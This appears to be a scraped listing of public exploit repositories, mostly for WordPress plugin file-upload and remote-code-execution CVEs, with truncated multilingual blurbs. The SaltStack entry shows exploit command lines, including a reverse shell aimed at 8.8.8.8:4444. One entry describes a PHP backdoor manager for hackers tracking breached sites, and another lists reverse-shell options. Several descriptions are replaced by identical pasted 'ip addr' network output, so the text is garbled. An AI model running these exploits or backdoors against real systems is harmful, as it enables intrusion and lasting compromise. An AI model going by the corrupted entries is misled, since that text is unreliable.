CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 Upload Arbitrario di File -purple 📌 Descrizione Il plugin CSV Mass Importer ≤ 1.2 per WordPress contiene una vulnerabilità di Upload Arbitrario di File Admin+. A causa di una convalida impropria dei file caricati, gli utenti con privilegi elevati...

CVE-2025-6586

Download Plugin 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 1500 qdisc...

CVE-2025-6220

Ultimate Addons per Contact Form 7 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0...

CVE-2025-5961

CVE-2025-5961 Migrazione, Backup, Staging – WPvivid Backup & Migration 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft...

CVE-2025-5058

eMagicOne Store Manager for WooCommerce = 1.2.5 - Caricamento Arbitrario di File Non Autenticato tramite l'attività setimage Il plugin eMagicOne Store Manager for WooCommerce espone un endpoint di protocollo di gestione remota ?connector=bridge che consente il caricamento di file sul server. Il...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444...

CVE-2025-47550

Instantio - Plugin Wordpress 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu...

CVE-2025-47549

Ultimate Before After Image Slider & Gallery – BEAF 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlf...

CVE-2025-4336

eMagicOne Store Manager per WooCommerce 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group...

CVE-2024-13869

CVE-2024-13869 Migração,Backup, Staging – WPvivid 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft...

Drag-and-Drop-Multiple-File-Uploader-PRO-Path-Traversal

CVE-2023-1112 - Drag and Drop Multiple File Uploader PRO - Contact Form 7 v5.0.6.1 Path Traversal Informationen Path Traversal in Drag and Drop Multiple File Uploader PRO – Contact Form 7 Version 5.0.6.1 erlaubt es einem nicht authentifizierten Remote-Angreifer, Dateien an beliebige beschreibbare...

Cisco-ASA-CVE-2025-20333-Scanner

Scanner CVE-2025-20333 Uno scanner diagnostico basato su Python per il buffer overflow del server Web VPN Cisco ASA / FTD CVE-2025-20333. CVE-2025-20333 è una vulnerabilità critica di heap buffer overflow nel gestore di upload file di WebVPN che può portare a esecuzione remota di codice RCE come...

CVE-2026-14483_exploit

CVE-2026-14483 — Realtyna WPL / Organic IDX: Nicht authentifizierter beliebiger Datei-Upload → RCE Nicht authentifizierter beliebiger Datei-Upload, der in dem Realtyna WPL / Organic IDX WordPress-Plugin real-estate-listing-realtyna-wpl ≤ 5.2.0 zu RCE führt. Das Plugin registriert einen "I/O-Diens...

RAU_crypto

RAUcrypto Kombinierter Exploit für Telerik UI für ASP.NET AJAX. Datei-Upload für CVE-2017-11317 und CVE-2017-11357 – lädt die Datei automatisch hoch .NET-Deserialisierung für CVE-2019-18935 Unterstützt nun das Testen der Fähigkeit des Ziels, Remote-Payloads von einem angreifergehosteten SMB-Diens...

shellstack

ShellStack Versione 1.0 ShellStack è uno strumento di gestione backdoor basato su PHP. Questo strumento è utile per "HACKER" che desiderano tenere traccia di ogni sito web che violano. Lo strumento genera un file backdoor che basta caricare sul sito e inserire l'URL della backdoor nel file...

CVE-2023-39115

CVE-2023-39115 Descrição: O Campcodes Online Matrimonial Website System Script v3.3 é vulnerável a uma vulnerabilidade de upload de arquivo arbitrário, potencialmente permitindo que atacantes executem código arbitrário no servidor alvo. A vulnerabilidade surge de validação insuficiente de arquivo...

CVE-2025-63830

📂 CKFinder 1.4.3 – Cross-Site Scripting XSS persistente tramite caricamento di SVG dannoso CVE ID: CVE-2025-63830 🧭 Panoramica È stata identificata una vulnerabilità di Cross-Site Scripting XSS persistente in CKFinder v1.4.3. Il problema risiede nella funzionalità di caricamento dei file , che no...

CVE-2021-24563

CVE-2021-24563 Frontend Uploader alert/X...

CVE-2025-8971

CVE-2025-8971 SQL Injection Autore: Byte Reaper Descrizione : Questo exploit per CVE-2025-8971, una vulnerabilità di SQL injection in itsourcecode Online Tour and Travel Management System 1.0. La vulnerabilità risiede in /admin/operations/travellers.php e può essere sfruttata da remoto tramite il...

CVE-2023-4220-RCE

CVE-2023-4220-RCE Sommario Avviso di Starlabs Prodotto interessato: Chamilo , -p --port REMOTE PORT -c --comand Flag per la reverse shell -lh/--localhost: IP dell'attaccante -lp/--localtcat porta listener...